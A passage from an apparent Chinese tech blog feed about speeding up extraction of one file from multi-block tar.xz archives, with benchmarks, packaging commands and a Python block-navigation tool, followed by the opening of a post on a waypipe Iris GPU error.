&lt;tr&gt;&lt;td&gt;块级跳读（本章）&lt;&#x2F;td&gt;&lt;td&gt;json 在末尾、多块包&lt;&#x2F;td&gt;&lt;td&gt;跳过无关块，解压单个块&lt;&#x2F;td&gt;&lt;td&gt;单块包无效；json 在中间时探测落空&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;si-shi-ce-ti-su-shu-ju&quot;&gt;四、实测提速数据&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;4-1-wfuzz-python-184-8-mib-8-kuai-json-zai-zui-hou-yi-kuai&quot;&gt;4.1 wfuzz-python（184.8 MiB &#x2F; 8 块，json 在最后一块）&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;方式&lt;&#x2F;th&gt;&lt;th&gt;耗时&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;全量解压 + 提取&lt;&#x2F;td&gt;&lt;td&gt;1.23s&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;按块跳读（只解最后一块 2.38MB）&lt;&#x2F;td&gt;&lt;td&gt;0.13s（≈10x）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;4-2-zi-zao-1gib-da-bao-1-036-7-mib-44-kuai-json-yong-sort-name-bao-zheng-zui-hou&quot;&gt;4.2 自造 1GiB 大包（1,036.7 MiB &#x2F; 44 块，json 用 &lt;code&gt;--sort=name&lt;&#x2F;code&gt; 保证最后）&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;方式&lt;&#x2F;th&gt;&lt;th&gt;耗时&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;全量解压 + 提取&lt;&#x2F;td&gt;&lt;td&gt;1.17s&lt;&#x2F;td&gt;&lt;td&gt;22 核并行解压&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;按块跳读（朴素版，读全文件再定位）&lt;&#x2F;td&gt;&lt;td&gt;0.315s&lt;&#x2F;td&gt;&lt;td&gt;瓶颈在读完 700MB 压缩文件&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;按块跳读（seek 版，只读尾部 2.3KB）&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;≈0.005s&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;≈230x&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;blockquote&gt;
&lt;p&gt;注：全量解压才 1.17s，是因为 22 核并行 + 大量不可压缩随机数据走 LZMA2 无压缩快通道。真实高压缩比数据单核解压更慢，导航优势更明显。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;4-3-fan-li-wfuzz-db-json-bu-zai-zui-hou-yi-kuai&quot;&gt;4.3 反例：wfuzz-db（json 不在最后一块）&lt;&#x2F;h3&gt;
&lt;p&gt;wfuzz-db-1.10.10（161 成员 &#x2F; 2.7GB &#x2F; 115 块）：打包机 readdir 顺序把大 &lt;code&gt;bin&#x2F;&lt;&#x2F;code&gt; 目录排在了 &lt;code&gt;wfuzz-package.json&lt;&#x2F;code&gt; &lt;strong&gt;后面&lt;&#x2F;strong&gt;（&lt;code&gt;lib&#x2F;&lt;&#x2F;code&gt; → json → &lt;code&gt;bin&#x2F;&lt;&#x2F;code&gt;），导致 json 在成员 122&#x2F;161、字节偏移仅 8.1%、位于&lt;strong&gt;第 10&#x2F;115 块&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;方式&lt;&#x2F;th&gt;&lt;th&gt;耗时&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;探测最后一块 → 落空 → 全量解压 2.7GB&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;14.0s&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;知道它在第 10 块，直接跳读该块&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;0.21s&lt;&#x2F;strong&gt;（≈66x）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;教训：&lt;strong&gt;&quot;目标在最后一块&quot;只是 readdir 运气，不是设计&lt;&#x2F;strong&gt;。探测策略的收益 = 命中率 × 加速比，未命中就回到全量路径。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-4-dan-kuai-bao-wu-fa-dao-hang-dui-zhao&quot;&gt;4.4 单块包：无法导航（对照）&lt;&#x2F;h3&gt;
&lt;p&gt;同一份数据用 &lt;code&gt;-T1&lt;&#x2F;code&gt; 压成&lt;strong&gt;单块&lt;&#x2F;strong&gt;包，跳读无从谈起，只能全量解压。&lt;strong&gt;单块 = 放弃了随机访问能力&lt;&#x2F;strong&gt;，这是压缩时就要做的取舍。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;wu-zhen-shi-an-li-wfuzz-xi-lie-bao-wei-shen-me-json-wei-zhi-piao-hu&quot;&gt;五、真实案例：wfuzz 系列包为什么 json 位置飘忽&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;5-1-da-bao-fang-shi-gen-yin&quot;&gt;5.1 打包方式根因&lt;&#x2F;h3&gt;
&lt;p&gt;wfuzz 系列的打包在 CMake 里（&lt;code&gt;cmake&#x2F;package.cmake&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;set(ENV{XZ_DEFAULTS} &amp;quot;-T0&amp;quot;)
execute_process(COMMAND ${CMAKE_COMMAND} -E chdir &amp;quot;${WFUZZ_TOOL_INSTALL_DIR}&amp;quot;
                tar cvfJ &amp;quot;...&amp;#x2F;xxx.tar.xz&amp;quot; .)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;即 &lt;code&gt;tar .&lt;&#x2F;code&gt;（方法 B）+ &lt;code&gt;XZ_DEFAULTS=-T0&lt;&#x2F;code&gt;。&lt;strong&gt;成员顺序 = 打包机器上安装目录的 readdir 序&lt;&#x2F;strong&gt;，与 &lt;code&gt;wfuzz-package.json&lt;&#x2F;code&gt; 相对大目录（bin&#x2F;lib）的哈希位置有关。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-2-shi-ce-ge-bao-wei-zhi&quot;&gt;5.2 实测各包位置&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;包&lt;&#x2F;th&gt;&lt;th&gt;wfuzz-package.json 位置&lt;&#x2F;th&gt;&lt;th&gt;xz 块数&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;wfuzz-os-0.1.3&lt;&#x2F;td&gt;&lt;td&gt;49&#x2F;49（最后，100%）&lt;&#x2F;td&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;wfuzz-agent-0.1.44&lt;&#x2F;td&gt;&lt;td&gt;7587&#x2F;7587（最后）&lt;&#x2F;td&gt;&lt;td&gt;12&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;wfuzz-vscode-server&lt;&#x2F;td&gt;&lt;td&gt;12879&#x2F;12879（最后）&lt;&#x2F;td&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;wfuzz-python-v0.8.1&lt;&#x2F;td&gt;&lt;td&gt;7354&#x2F;7354（最后）&lt;&#x2F;td&gt;&lt;td&gt;8&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;wfuzz-db-1.10.10&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;122&#x2F;161（8.1%！）&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;115&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;5-3-xiu-fu-jian-yi&quot;&gt;5.3 修复建议&lt;&#x2F;h3&gt;
&lt;p&gt;两个方向，都能保证 json 位置确定且无硬链接（已实测验证）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;方案一（推荐）：json 放最前 + 无硬链接&lt;&#x2F;strong&gt;，配合早停流式读取（单块&#x2F;多块都有效）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 写法1: 无 .&amp;#x2F; 前缀
cd wfuzz-pkg &amp;amp;&amp;amp; \
tar -cJf ..&amp;#x2F;wfuzz-pkg.tar.xz wfuzz-package.json --exclude=wfuzz-package.json *

# 写法2: 保留 .&amp;#x2F; 前缀
tar -cJf wfuzz-pkg.tar.xz -C wfuzz-pkg wfuzz-package.json --exclude=wfuzz-package.json .
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;tar&lt;&#x2F;code&gt; 按命令行参数顺序归档 → &lt;code&gt;wfuzz-package.json&lt;&#x2F;code&gt; 第一个参数 = 归档第一个成员；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;--exclude=wfuzz-package.json&lt;&#x2F;code&gt; 让通配符 &lt;code&gt;*&lt;&#x2F;code&gt; &#x2F; 目录 &lt;code&gt;.&lt;&#x2F;code&gt; 遍历时&lt;strong&gt;跳过 json&lt;&#x2F;strong&gt;，避免同一 inode 归档两次 → &lt;strong&gt;无硬链接、json 只出现 1 次&lt;&#x2F;strong&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;实测：两种写法的 json 都是第 1 位、&lt;code&gt;tar -tvf&lt;&#x2F;code&gt; 无 &lt;code&gt;h&lt;&#x2F;code&gt; 硬链接条目、&lt;code&gt;tar -tf&lt;&#x2F;code&gt; 里 json 仅出现 1 次，解压结果逐字节一致（差异仅 &lt;code&gt;.&#x2F;&lt;&#x2F;code&gt; 前缀）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;方案二：json 放最后&lt;&#x2F;strong&gt;，配合块级跳读（仅多块包有效）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cd &amp;quot;${WFUZZ_TOOL_INSTALL_DIR}&amp;quot; &amp;amp;&amp;amp; tar --sort=name -cf - . | xz -T0 --block-size=24MiB -c &amp;gt; out.tar.xz
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;--sort=name&lt;&#x2F;code&gt; 让 &lt;code&gt;w&lt;&#x2F;code&gt; 开头的 json 排在 &lt;code&gt;bin&#x2F;&lt;&#x2F;code&gt;、&lt;code&gt;lib&#x2F;&lt;&#x2F;code&gt; 之后（最后）。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：两种方案的关键都是&lt;strong&gt;让 json 只归档一次&lt;&#x2F;strong&gt;。&lt;code&gt;tar -C dir wfuzz-package.json .&lt;&#x2F;code&gt; 这类显式+遍历重复的写法会产生硬链接自引用条目（见 1.4 节），虽然无害但多余。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;关于多块&lt;&#x2F;strong&gt;：只读头部 json（早停读取）不需要多块，&lt;code&gt;-cJf&lt;&#x2F;code&gt; 即可。若还需保证多块可导航&#x2F;并行解压，两种方式任选：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;方式1：&lt;code&gt;XZ_OPT&lt;&#x2F;code&gt; 环境变量&lt;&#x2F;strong&gt;（保持 &lt;code&gt;-cJf&lt;&#x2F;code&gt; 单命令，推荐）：&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;XZ_OPT=&amp;#x27;-T0 --block-size=24MiB&amp;#x27; tar -cJf out.tar.xz wfuzz-package.json --exclude=wfuzz-package.json *
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;方式2：管道&lt;&#x2F;strong&gt;：&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;tar -cf - wfuzz-package.json --exclude=wfuzz-package.json * | xz -T0 --block-size=24MiB -c &amp;gt; out.tar.xz
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;注：&lt;code&gt;-cJf&lt;&#x2F;code&gt; 是否多块取决于机器 xz 版本（xz 5.8 默认 &lt;code&gt;-T0&lt;&#x2F;code&gt; 已多块，旧版是单块），所以要想稳定多块需显式指定。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;liu-shi-jian-jian-yi&quot;&gt;六、实践建议&lt;&#x2F;h2&gt;
&lt;p&gt;针对&quot;反复读大包里固定某个文件&quot;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;先想清楚目标在包的哪个位置&lt;&#x2F;strong&gt;——&lt;code&gt;tar -xOf&lt;&#x2F;code&gt; 在压缩流上&lt;strong&gt;从不提前退出&lt;&#x2F;strong&gt;（读完整流），位置对标准 tar 无影响。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;文件在开头&lt;&#x2F;strong&gt;：用&lt;strong&gt;早停流式读取器&lt;&#x2F;strong&gt;（1.5 节），只解压几百字节，单块&#x2F;多块都行。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;文件在末尾且包是多块的&lt;&#x2F;strong&gt;：按块跳读最优（见附录工具）；或装 &lt;code&gt;ratarmount&lt;&#x2F;code&gt; 挂载后直接读。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;文件在末尾且包是单块的&lt;&#x2F;strong&gt;：无法跳块，只能全解压一次后&lt;strong&gt;缓存&lt;&#x2F;strong&gt;目标文件。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;文件在中间（readdir 序导致）&lt;&#x2F;strong&gt;：块跳读探测落空 → 一次全量扫描缓存偏移，之后直接跳该块；或从源头改打包（5.3 节方案）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;自己打包含固定目标时&lt;&#x2F;strong&gt;：首选&quot;json 放最前 + &lt;code&gt;xz --block-size&lt;&#x2F;code&gt;&quot;（5.3 方案一），配合早停读取最通用；不要用会重复归档的写法（会产生硬链接）。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;qi-fu-lu-an-kuai-tan-ce-gong-ju-xiao-yan-he-yan-zheng-ban&quot;&gt;七、附录：按块探测工具（校验和验证版）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;#!&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;env python3
&amp;quot;&amp;quot;&amp;quot;xz_read.py — 从 tar.xz 中按块导航读取单个成员，只解压目标所在块。

原理：
  1. 解析 .xz 流尾 Index，得到每块的压缩区间与解压区间
  2. 多块包：从最后一块向前探测目标成员（tar 头用校验和验证，非字符串匹配）
  3. 命中成员若是硬链接&amp;#x2F;软链接，解析 linkname 字段追踪到真实数据
  4. 未命中、或真实数据不在已解压块内：回退全量解压扫描

用法：
  python3 xz_read.py &amp;lt;archive.tar.xz&amp;gt; &amp;lt;member&amp;gt;            # 输出到 stdout
  python3 xz_read.py &amp;lt;archive.tar.xz&amp;gt; &amp;lt;member&amp;gt; -o out     # 写入文件
&amp;quot;&amp;quot;&amp;quot;
import sys, lzma, struct, time

REGULAR = b&amp;#x27;\x00\x30&amp;#x27;      # 普通文件 typeflag: &amp;#x27;\0&amp;#x27; 或 &amp;#x27;0&amp;#x27;
HARDLINK = b&amp;#x27;\x31\x68&amp;#x27;     # 硬链接: &amp;#x27;1&amp;#x27; 或 &amp;#x27;h&amp;#x27;
SYMLINK = b&amp;#x27;\x32\x6c&amp;#x27;      # 软链接: &amp;#x27;2&amp;#x27; 或 &amp;#x27;l&amp;#x27;


def read_vli(b, o):
    v = 0
    for i in range(9):
        x = b[o + i]
        v |= (x &amp;amp; 0x7F) &amp;lt;&amp;lt; (7 * i)
        if not x &amp;amp; 0x80:
            return v, o + i + 1
    raise ValueError(&amp;quot;bad VLI&amp;quot;)


def xz_blocks(path):
    data = open(path, &amp;#x27;rb&amp;#x27;).read()
    sz = len(data)
    footer = data[sz - 12:]
    idx_real = (struct.unpack(&amp;#x27;&amp;lt;I&amp;#x27;, footer[4:8])[0] + 1) * 4
    idx = data[sz - 12 - idx_real:sz - 12]
    n, o = read_vli(idx, 1)
    recs = []
    for _ in range(n):
        up, o = read_vli(idx, o)
        uc, o = read_vli(idx, o)
        recs.append((up, uc))
    start = 12
    blocks = []
    for up, uc in recs:
        padded = (up + 3) &amp;amp; ~3
        blocks.append((start, start + padded, up, uc))
        start += padded
    return data, blocks


def decompress_block(data, blk):
    so, eo, up, uc = blk
    b = data[so:so + up]
    hsize = ((b[0] &amp;amp; 0x3F) + 1) * 4
    flags = b[1]
    o = 2
    if flags &amp;amp; 0x40:
        _, o = read_vli(b, o)
    if flags &amp;amp; 0x80:
        _, o = read_vli(b, o)
    nf = (flags &amp;amp; 0x03) + 1
    filters = []
    for _ in range(nf):
        fid, o = read_vli(b, o)
        plen, o = read_vli(b, o)
        props = b[o:o + plen]
        o += plen
        if fid == 0x21:
            bits = props[0] &amp;amp; 0x3F
            dsize = (2 | (bits &amp;amp; 1)) &amp;lt;&amp;lt; (bits &amp;#x2F;&amp;#x2F; 2 + 11) if bits &amp;lt; 40 else 0xFFFFFFFF
            filters.append({&amp;#x27;id&amp;#x27;: lzma.FILTER_LZMA2, &amp;#x27;dict_size&amp;#x27;: dsize})
    d = lzma.LZMADecompressor(format=lzma.FORMAT_RAW, filters=filters)
    return d.decompress(b[hsize:])


def tar_checksum_ok(h):
    field = h[148:156].split(b&amp;#x27;\x00&amp;#x27;)[0].strip()
    if not field or not all(c in b&amp;#x27;01234567&amp;#x27; for c in field):
        return False
    stored = int(field, 8)
    return stored == sum(h[:148]) + sum(h[156:]) + 8 * 0x20


def find_member(raw, member):
    &amp;quot;&amp;quot;&amp;quot;512 网格 + 校验和扫描，返回匹配成员的头 (hdr, off) 或 None。&amp;quot;&amp;quot;&amp;quot;
    target = member.encode()
    for p in range(0, len(raw) - 512, 512):
        h = raw[p:p + 512]
        if not tar_checksum_ok(h):
            continue
        name = h[0:100].split(b&amp;#x27;\x00&amp;#x27;)[0]
        if name.lstrip(b&amp;#x27;.&amp;#x2F;&amp;#x27;) != target.lstrip(b&amp;#x27;.&amp;#x2F;&amp;#x27;):
            continue
        return h, p
    return None


def extract(raw, member, seen):
    &amp;quot;&amp;quot;&amp;quot;从已解压数据中提取 member 内容，支持解析硬链接&amp;#x2F;软链接。&amp;quot;&amp;quot;&amp;quot;
    if member.lstrip(&amp;#x27;.&amp;#x2F;&amp;#x27;) in seen:
        return None, &amp;quot;链接成环&amp;quot;
    hit = find_member(raw, member)
    if hit is None:
        return None, &amp;quot;成员或其链接目标不在已解压数据中&amp;quot;
    h, p = hit
    tflag = h[156:157]
    size = int(h[124:136].split(b&amp;#x27;\x00&amp;#x27;)[0].strip() or b&amp;#x27;0&amp;#x27;, 8)
    if tflag in REGULAR:
        return raw[p + 512:p + 512 + size], None
    if tflag in HARDLINK or tflag in SYMLINK:
        linkname = h[157:257].split(b&amp;#x27;\x00&amp;#x27;)[0].decode(errors=&amp;#x27;replace&amp;#x27;)
        return extract(raw, linkname, seen | {member.lstrip(&amp;#x27;.&amp;#x2F;&amp;#x27;)})
    return None, f&amp;quot;不支持的成员类型 typeflag={tflag!r}&amp;quot;


def main():
    if len(sys.argv) &amp;lt; 3:
        sys.exit(__doc__)
    path, member = sys.argv[1], sys.argv[2]
    out = None
    if &amp;#x27;-o&amp;#x27; in sys.argv:
        out = sys.argv[sys.argv.index(&amp;#x27;-o&amp;#x27;) + 1]

    data, blocks = xz_blocks(path)
    t0 = time.time()

    for blk in reversed(blocks):
        if len(blocks) == 1:
            break
        raw = decompress_block(data, blk)
        content, err = extract(raw, member, set())
        if content is not None:
            print(f&amp;quot;[probe] 命中! 跳过 {len(blocks)-1} 个块, &amp;quot;
                  f&amp;quot;仅解压 {blk[3]&amp;#x2F;&amp;#x2F;1024}KB ({time.time()-t0:.3f}s)&amp;quot;, file=sys.stderr)
            if out:
                open(out, &amp;#x27;wb&amp;#x27;).write(content)
            else:
                sys.stdout.buffer.write(content)
            return
        if err and &amp;#x27;链接目标&amp;#x27; in err and blk is blocks[0]:
            # 链接目标在更早的块里, 交回全量扫描解决
            break

    print(f&amp;quot;[fallback] 全量解压扫描 ({time.time()-t0:.3f}s)&amp;quot;, file=sys.stderr)
    raw = b&amp;#x27;&amp;#x27;.join(decompress_block(data, b) for b in blocks)
    content, err = extract(raw, member, set())
    if content is None:
        sys.exit(f&amp;quot;!! 无法获取 {member}: {err}&amp;quot;)
    if out:
        open(out, &amp;#x27;wb&amp;#x27;).write(content)
    else:
        sys.stdout.buffer.write(content)


if __name__ == &amp;#x27;__main__&amp;#x27;:
    main()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;实测该脚本输出与 &lt;code&gt;tar -xOf&lt;&#x2F;code&gt; 全量提取逐字节一致；wfuzz-python 命中时只解压 17MB&#x2F;184MB。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;关于链接条目&lt;&#x2F;strong&gt;：tar 里的硬链接（&lt;code&gt;typeflag=&#x27;1&#x27;&#x2F;&#x27;h&#x27;&lt;&#x2F;code&gt;）和软链接（&lt;code&gt;typeflag=&#x27;2&#x27;&#x2F;&#x27;l&#x27;&lt;&#x2F;code&gt;）&lt;strong&gt;自身不带数据&lt;&#x2F;strong&gt;，内容存于 &lt;code&gt;linkname&lt;&#x2F;code&gt; 字段（头偏移 157-256）指向的成员。若目标条目恰好是链接：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;硬链接&lt;&#x2F;strong&gt;：真实数据一定存储在&lt;strong&gt;更早&lt;&#x2F;strong&gt;的位置（tar 在第二次遇到同一 inode 时才写链接条目）——可能在更早的块里，探测最后一块解压不到时需回退全量。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;软链接&lt;&#x2F;strong&gt;：目标可能在归档内，也可能指向归档外路径（归档里根本没有内容可读，只能报告无法解析）。&lt;&#x2F;li&gt;
&lt;li&gt;脚本的 &lt;code&gt;extract()&lt;&#x2F;code&gt; 会递归解析 &lt;code&gt;linkname&lt;&#x2F;code&gt;，并带成环检测。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;tar&lt;&#x2F;strong&gt;：顺序无索引，不支持文件导航；但 GNU tar 在可 seek 普通文件上用 lseek 跳过数据，纯 tar 找末尾成员几乎免费。成员顺序&#x2F;&lt;code&gt;.&#x2F;&lt;&#x2F;code&gt; 前缀取决于打包命令（glob 字母序 vs readdir 哈希序），&lt;strong&gt;子目录内部恒为 readdir 序，只有 &lt;code&gt;--sort=name&lt;&#x2F;code&gt; 能全局排序&lt;&#x2F;strong&gt;。重复归档同一文件会生成硬链接自引用，判重依据是 &lt;strong&gt;dev+inode&lt;&#x2F;strong&gt; 而非名字。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;xz&lt;&#x2F;strong&gt;：多块容器 + 尾部 Index，天然支持&lt;strong&gt;块级随机访问&lt;&#x2F;strong&gt;；但单块包（&lt;code&gt;-T1&lt;&#x2F;code&gt;）无法导航。块数由块大小决定（⌈输入&#x2F;块大小⌉，&lt;strong&gt;按输入字节计&lt;&#x2F;strong&gt;），与线程数无关；多线程压缩不影响成员排序。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;标准 tar 在压缩流上从不提前退出&lt;&#x2F;strong&gt;：&lt;code&gt;tar -xOf&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;tar -xf&lt;&#x2F;code&gt; 命中目标后仍把整个流读完（无论单块&#x2F;多块、头部&#x2F;尾部），所以 tar.xz 提速必须靠自定义读取。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;两条快速路径&lt;&#x2F;strong&gt;：目标在&lt;strong&gt;头部&lt;&#x2F;strong&gt; → 早停流式读取（单块&#x2F;多块都有效，只解压几百字节）；目标在&lt;strong&gt;末尾&lt;&#x2F;strong&gt;且&lt;strong&gt;多块&lt;&#x2F;strong&gt; → 块级跳读（Index 定位 + 只解压目标块）。实测 10x~230x 提速。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;块可流式部分解压&lt;&#x2F;strong&gt;：LZMA2 是顺序 chunk 流，单个块也能增量解压（&lt;code&gt;decompress(max_length)&lt;&#x2F;code&gt;），不需要解完整个块；省的是&quot;目标之前的解压量&quot;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;可靠性&lt;&#x2F;strong&gt;：块内定位靠 &lt;strong&gt;tar 头校验和&lt;&#x2F;strong&gt;（512 网格验证），不是字符串匹配；块边界切在成员中间不影响，因为块大小是 512 的倍数。链接条目（硬&#x2F;软）需要解析 &lt;code&gt;linkname&lt;&#x2F;code&gt; 字段追踪真实数据。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;打包建议&lt;&#x2F;strong&gt;：想稳定快速读取，把目标文件放&lt;strong&gt;最前&lt;&#x2F;strong&gt;（配合早停）或放&lt;strong&gt;最后&lt;&#x2F;strong&gt;（&lt;code&gt;--sort=name&lt;&#x2F;code&gt; 配合多块跳读）；两者都要避免重复归档以防硬链接。保证多块用 &lt;code&gt;XZ_OPT=&#x27;-T2 --block-size=24MiB&#x27;&lt;&#x2F;code&gt;（显式线程数跨版本稳定，&lt;code&gt;-T0&lt;&#x2F;code&gt; 在旧版 xz 会静默失效）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;跨格式&lt;&#x2F;strong&gt;：早停（流式部分解压）对所有压缩算法通用；跳块随机访问只有带索引的格式支持（xz&#x2F;zip&#x2F;zstd-seekable&#x2F;7z），gzip&#x2F;bzip2 无索引不能跳块。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;反例警示&lt;&#x2F;strong&gt;：目标是否在最后一块取决于打包机 readdir 顺序（wfuzz-db 实测 json 在第 10&#x2F;115 块），探测未命中时回退全量；根治方法是 &lt;code&gt;tar --sort=name&lt;&#x2F;code&gt; 保证顺序。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>waypipe 报 Iris kernel too old 排查：被『客户端没有 GPU 节点』带偏的过程</title>
        <published>2026-08-09T22:25:32+08:00</published>
        <updated>2026-09-13T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/waypipe-iris-kernel-too-old-diagnosis/"/>
        <id>https://vercel.juzhong.asia/2026/08/waypipe-iris-kernel-too-old-diagnosis/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/waypipe-iris-kernel-too-old-diagnosis/">&lt;h1 id=&quot;wen-ti-xian-xiang&quot;&gt;问题现象&lt;&#x2F;h1&gt;
&lt;p&gt;客户端机器通过 waypipe 连到服务器跑图形程序：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;waypipe ssh workpc
weston-dnd
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结果终端刷出报错：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;error: Kernel is too old (4.16+ required) or unusable for Iris.
Check your dmesg logs for loading failures.
